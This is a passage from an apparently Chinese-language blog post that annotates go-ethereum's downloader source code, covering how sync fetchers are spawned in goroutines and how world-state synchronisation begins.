disable the ancient style insertion explicitly.</span></span><br><span class="line">    <span class="keyword">if</span> origin &gt;= frozen &amp;&amp; frozen != <span class="number">0</span> &#123;</span><br><span class="line">      d.ancientLimit = <span class="number">0</span></span><br><span class="line">      log.Info(<span class="string">&quot;Disabling direct-ancient mode&quot;</span>, <span class="string">&quot;origin&quot;</span>, origin, <span class="string">&quot;ancient&quot;</span>, frozen<span class="number">-1</span>)</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> d.ancientLimit &gt; <span class="number">0</span> &#123;</span><br><span class="line">      log.Debug(<span class="string">&quot;Enabling direct-ancient mode&quot;</span>, <span class="string">&quot;ancient&quot;</span>, d.ancientLimit)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Rewind the ancient store and blockchain if reorg happens.</span></span><br><span class="line">    <span class="keyword">if</span> origin+<span class="number">1</span> &lt; frozen &#123;</span><br><span class="line">      <span class="keyword">if</span> err := d.lightchain.SetHead(origin + <span class="number">1</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> err</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// Initiate the sync using a concurrent header and content retrieval algorithm</span></span><br><span class="line">  d.queue.Prepare(origin+<span class="number">1</span>, mode) <span class="comment">// 更新queue的值从共同祖先+1开始，即从共同祖先开始sync区块</span></span><br><span class="line">  <span class="keyword">if</span> d.syncInitHook != <span class="literal">nil</span> &#123;</span><br><span class="line">    d.syncInitHook(origin, height)</span><br><span class="line">  &#125;</span><br><span class="line">  fetchers := []<span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span> &#123; <span class="keyword">return</span> d.fetchHeaders(p, origin+<span class="number">1</span>) &#125;, <span class="comment">// Headers are always retrieved</span></span><br><span class="line">    <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span> &#123; <span class="keyword">return</span> d.fetchBodies(origin + <span class="number">1</span>) &#125;,   <span class="comment">// Bodies are retrieved during normal and fast sync</span></span><br><span class="line">    <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span> &#123; <span class="keyword">return</span> d.fetchReceipts(origin + <span class="number">1</span>) &#125;, <span class="comment">// Receipts are retrieved during fast sync</span></span><br><span class="line">    <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span> &#123; <span class="keyword">return</span> d.processHeaders(origin+<span class="number">1</span>, td) &#125;,</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> mode == FastSync &#123;        <span class="comment">//根据模式的不同，增加新的处理逻辑</span></span><br><span class="line">    d.pivotLock.Lock()</span><br><span class="line">    d.pivotHeader = pivot</span><br><span class="line">    d.pivotLock.Unlock()</span><br><span class="line"></span><br><span class="line">    fetchers = <span class="built_in">append</span>(fetchers, <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span> &#123; <span class="keyword">return</span> d.processFastSyncContent() &#125;)</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> mode == FullSync &#123;</span><br><span class="line">    fetchers = <span class="built_in">append</span>(fetchers, d.processFullSyncContent)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> d.spawnSync(fetchers)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>spawnSync 会给每个 fetcher 启动一个 goroutine, 然后阻塞的检查 fetcher 是否出错：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// spawnSync runs d.process and all given fetcher functions to completion in</span></span><br><span class="line"><span class="comment">// separate goroutines, returning the first error that appears.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Downloader)</span></span> spawnSync(fetchers []<span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span>) <span class="type">error</span> &#123;</span><br><span class="line">  errc := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="type">error</span>, <span class="built_in">len</span>(fetchers))</span><br><span class="line">  d.cancelWg.Add(<span class="built_in">len</span>(fetchers))</span><br><span class="line">  <span class="keyword">for</span> _, fn := <span class="keyword">range</span> fetchers &#123;</span><br><span class="line">    fn := fn</span><br><span class="line">    <span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123; <span class="keyword">defer</span> d.cancelWg.Done(); errc &lt;- fn() &#125;()</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// Wait for the first error, then terminate the others.</span></span><br><span class="line">  <span class="keyword">var</span> err <span class="type">error</span></span><br><span class="line">  <span class="keyword">for</span> i := <span class="number">0</span>; i &lt; <span class="built_in">len</span>(fetchers); i++ &#123;</span><br><span class="line">    <span class="keyword">if</span> i == <span class="built_in">len</span>(fetchers)<span class="number">-1</span> &#123;</span><br><span class="line">      <span class="comment">// Close the queue when all fetchers have exited.</span></span><br><span class="line">      <span class="comment">// This will cause the block processor to end when</span></span><br><span class="line">      <span class="comment">// it has processed the queue.</span></span><br><span class="line">      d.queue.Close()</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> err = &lt;-errc; err != <span class="literal">nil</span> &amp;&amp; err != errCanceled &#123;</span><br><span class="line">      <span class="keyword">break</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  d.queue.Close()</span><br><span class="line">  d.Cancel()</span><br><span class="line">  <span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="同步-State"><strong>同步 State</strong></h4><p>state 即世界状态，其保存着所有账户的余额等信息</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// filedir: go-ethereum-1.10.2\eth\downloader\statesync.go</span></span><br><span class="line"><span class="comment">// stateFetcher manages the active state sync and accepts requests</span></span><br><span class="line"><span class="comment">// on its behalf.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Downloader)</span></span> stateFetcher() &#123;</span><br><span class="line">  <span class="keyword">for</span> &#123;</span><br><span class="line">    <span class="keyword">select</span> &#123;</span><br><span class="line">    <span class="keyword">case</span> s := &lt;-d.stateSyncStart:</span><br><span class="line">      <span class="keyword">for</span> next := s; next != <span class="literal">nil</span>; &#123;</span><br><span class="line">        next = d.runStateSync(next)</span><br><span class="line">      &#125;</span><br><span class="line">    <span class="keyword">case</span> &lt;-d.stateCh:</span><br><span class="line">      <span class="comment">// Ignore state responses while no sync is running.</span></span><br><span class="line">    <span class="keyword">case</span> &lt;-d.quitCh:</span><br><span class="line">      <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>runStateSync 函数执行状态同步，直到它完成或请求切换到另一个根哈希：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// runStateSync runs a state synchronisation until it completes or another root</span></span><br><span class="line"><span class="comment">// hash is requested to be switched over to.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Downloader)</span></span> runStateSync(s *stateSync) *stateSync &#123;</span><br><span class="line">  <span class="keyword">var</span> (</span><br><span class="line">    active   = <span class="built_in">make</span>(<span class="keyword">map</span>[<span class="type">string</span>]*stateReq) <span class="comment">// Currently in-flight requests</span></span><br><span class="line">    finished []*stateReq                  <span class="comment">// Completed or failed requests</span></span><br><span class="line">    timeout  = <span class="built_in">make</span>(<span class="keyword">chan</span> *stateReq)       <span class="comment">// Timed out active requests</span></span><br><span class="line">  )</span><br><span class="line">  log.Trace(<span class="string">&quot;State sync starting&quot;</span>, <span class="string">&quot;root&quot;</span>, s.root)</span><br><span class="line"></span><br><span class="line">  <span class="keyword">defer</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="comment">// Cancel active request timers on exit. Also set peers to idle so they&#x27;re</span></span><br><span class="line">    <span class="comment">// available for the next sync.</span></span><br><span class="line">    <span class="keyword">for</span> _, req := <span class="keyword">range</span> active &#123;</span><br><span class="line">      req.timer.Stop()</span><br><span class="line">      req.pee